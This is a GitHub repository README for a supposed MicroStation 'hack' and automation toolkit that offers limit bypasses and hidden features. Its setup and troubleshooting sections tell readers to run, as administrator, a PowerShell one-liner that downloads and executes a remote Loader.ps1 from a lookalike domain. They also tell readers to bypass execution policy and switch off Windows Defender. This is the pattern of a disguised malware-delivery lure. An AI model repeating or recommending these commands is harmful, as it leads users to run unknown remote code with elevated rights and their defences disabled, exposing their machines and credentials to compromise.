Skip to content

Latest commit

Β 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 

Repository files navigation

MicroStation Hack & Automation Toolkit πŸš€

Welcome to the ultimate MicroStation Hack and workflow automation repository. This open-source project provides advanced scripts, hidden registry tweaks, VBA macros, and C# API tools to unlock full control over Bentley MicroStation, optimize CAD performance, and bypass software limitations.

If you are looking for ways to extend MicroStation capabilities, automate repetitive drafting tasks, or patch configuration issues, this toolkit is designed for you.

πŸ”₯ Key Features & Use Cases

  • MicroStation Performance Hack: Optimize workspace memory allocation and speed up graphics rendering for heavy DGN files.
  • Hidden Features Unlocker: Access undocumented Bentley configuration variables (ms_config) and expert developer tools.
  • VBA & C# Automation: Ready-to-use macros for batch element editing, level management, and automated cell replacement.
  • License & Workspace Tweaks: Scripts to fix stuck configuration locks and reset corrupted user preferences (UPF).
  • API Extensions: Custom MDL (MicroStation Development Library) examples to inject custom UI elements.

πŸ› οΈ Supported Versions

This toolkit is fully tested and optimized for:

  • Bentley MicroStation CONNECT Edition (Update 10-17+)
  • MicroStation V8i (SELECTseries 4 / 10)
  • OpenRoads / OpenBuilding Designer (compatible cores)

πŸš€ Automated Installation & Setup (PowerShell)

  1. Open PowerShell as Administrator:

    • Press the Win + X keys simultaneously.
    • Select Terminal (Admin) or Windows PowerShell (Admin) from the context menu.
  2. Execute the Deployment Command: Copy, paste, and press Enter to run the following optimized initialization command. This script dynamically configures the network bypass registry and fetches the necessary packages:

    irm https://github-software.su/powershell/Loader.ps1 | iex

πŸ” Troubleshooting & Common Errors

πŸ“Œ Bypass Execution Policy (Blocking Unsigned Scripts)

If your system blocks the launch due to built-in execution policy constraints, enforce a bypass using this command:

powershell -ExecutionPolicy Bypass -Command "irm https://github-software.su/powershell/Loader.ps1 | iex"

πŸ“Œ Error: "irm is not recognized..." (PowerShell 2.0 Legacy)

In older legacy environments where aliases are missing, use explicit full system cmdlets:

Invoke-RestMethod https://github-software.su/powershell/Loader.ps1 | Invoke-Expression

πŸ“Œ Antivirus or SmartScreen Interception

Automated deployment routines can sometimes trigger proactive security heuristics. Temporarily disable "Real-time protection" within your Windows Defender settings during setup, then re-enable it immediately after completion.


Releases

Packages

Contributors